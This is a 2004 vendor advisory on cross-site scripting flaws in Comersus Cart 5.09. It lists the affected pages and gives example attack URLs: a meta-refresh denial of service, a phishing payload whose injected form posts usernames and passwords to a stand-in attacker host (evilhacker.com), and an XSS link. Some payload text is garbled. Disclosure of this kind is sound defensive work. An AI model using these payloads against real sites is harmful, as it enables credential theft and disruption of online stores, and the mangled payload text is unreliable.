Comersus Cart Cross-Site Scripting Vulnerability

Release Date:
July 6, 2004

Severity:
High

Vendor:
Comersus Open Technologies

Software:
Tested on Comersus Cart 5.09
Previous versions may also be affected.

Remote:
Remotely executed from any web browser

Technical Details:
The malicious user is able to compromise the parameters to invoke a
Cross-Site Scripting attack. This can be used to take advantage of the trust
between a client and server allowing the malicious user to execute malicious
JavaScript on the client's machine or perform a denial of service shutting
down IIS.

Pages Affected:
/comersus/store/comersus_customerAuthenticateForm.asp
/comersus/backofficeLite/comersus_backoffice_message.asp
/comersus/store/comersus_supportError.asp
/comersus/store/comersus_message.asp

Examples:

Denial of Service:
http://[VICTIM]/comersus/store/comersus_message.asp?message=< meta%20http-equ
iv='refresh'content='0'> 

Phishing:
http://[VICTIM]/comersus/store/comersus_message.asp?message= orm%20action="
Usernam">http://www.evilhacker.com/save2db.asp"%20method="post">Usernam e:
Password:


XSS:
http://[VICTIM]/comersus/backofficeLite/comersus_backoffice_messa ge.asp?mess
age=


Vendor Status:
Upgrade to 5.098
http://www.comersus.com/ 

Credit:
Discovered By: Thomas Ryan
Provide Security

Original Advisory
http://www.providesecurity.com/research/advisories/07062004-01.asp 

Copyright (c) 2004 Provide Security
Permission is hereby granted for the redistribution of this alert

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